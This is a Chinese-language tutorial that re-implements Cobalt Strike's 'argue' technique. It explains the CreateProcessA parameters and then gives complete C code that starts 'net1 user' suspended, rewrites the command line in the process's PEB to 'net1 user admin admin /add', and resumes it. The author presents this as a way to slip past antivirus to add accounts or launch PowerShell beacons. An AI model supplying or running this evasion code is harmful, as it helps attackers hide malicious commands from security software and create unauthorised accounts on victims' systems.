Argue实现
Argue是CobaltScrike上面的一个工具,用于污染参数达到bypassav执行一些命令的效果
0x01 实现过程
- 用CreateProcessA创建进程并挂起主线程
- 修改PEB中的命令行参数
- 启动挂起进程
0x02 函数介绍
其实这次用到的函数之前就都用过了,挂起线程在进程注入那篇文章也写过类似的
1 2 3 4 5 6 7 8 9 10 11 12
| BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
|
lpApplicationName 要执行模块的路径,这个模块如果后面需要参数就可以写在下面的命令行中
(这个真有点解释不清楚,简单说就是这个参数如果是C:\\Windows\\system32\\cmd.exe,下一个参数可以是 “/c 要执行的命令” )
lpCommandLine 要执行的命令行
lpProcessAttributes 这种SECURITY_ATTRIBUTES结构体基本没用到过直接写NULL
lpThreadAttributes 和上面一样
bInheritHandles 新进程是否从调用进程中继承句柄
dwCreationFlags 设置进程的创建的标志,简单的说就是进程创建之后的一些属性就是这个定义的,挂起进程的主线程也是这里定义的
具体可以看:https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
lpEnvironment 指向新进程环境块的指针,如果为NULL新进程使用调用进程的环境,这个简单的说就会是把指向新进程PEB的指针放在当前进程的环境中,并不是把所有PEB都放在当前进程中
lpCurrentDirectory 当前程序的绝对路径,如果为NULL,新进程将使用和调用进程相同的绝对路径,有环境变量还是可以正常调用的
lpStartupInfo 指向一个STARTUPINFOA结构,这个结构包含新进程主窗体的信息
lpProcessInformation 指向一个PROCESS_INFORMATION结构,这个结构包含进程的信息,有进程ID,线程ID,主进程句柄和主线程句柄
官方文档:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
0x03 代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include<stdio.h> #include<Windows.h> #include<winternl.h>
typedef NTSTATUS(WINAPI* typedef_NtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
int main() { HMODULE Ntdll = LoadLibraryA("ntdll.dll"); PROCESS_BASIC_INFORMATION pbi = { 0 }; RTL_USER_PROCESS_PARAMETERS Param = { 0 }; PEB peb = { 0 }; ULONG len = 0; STARTUPINFOA si; si.cb = sizeof(si); PROCESS_INFORMATION pi; CreateProcessA(NULL, (LPSTR)"net1 user", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); typedef_NtQueryInformationProcess NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(Ntdll, "NtQueryInformationProcess"); NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &len); ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL); WCHAR lpwszCmd[] = L"net1 user admin admin /add"; BOOL ret32 = WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, lpwszCmd, sizeof(lpwszCmd), NULL); ResumeThread(pi.hThread); return 0; }
|
可以绕过杀毒软件添加用户,当然powershell也是可以用同样的方法上线的,要是杀软拦截powershell可以先用没用的命令填充再替换,然后启动挂起的进程
其实就是关于修改PEB伪装进程那篇文章的展开,函数也都是一样的就多了一个创建进程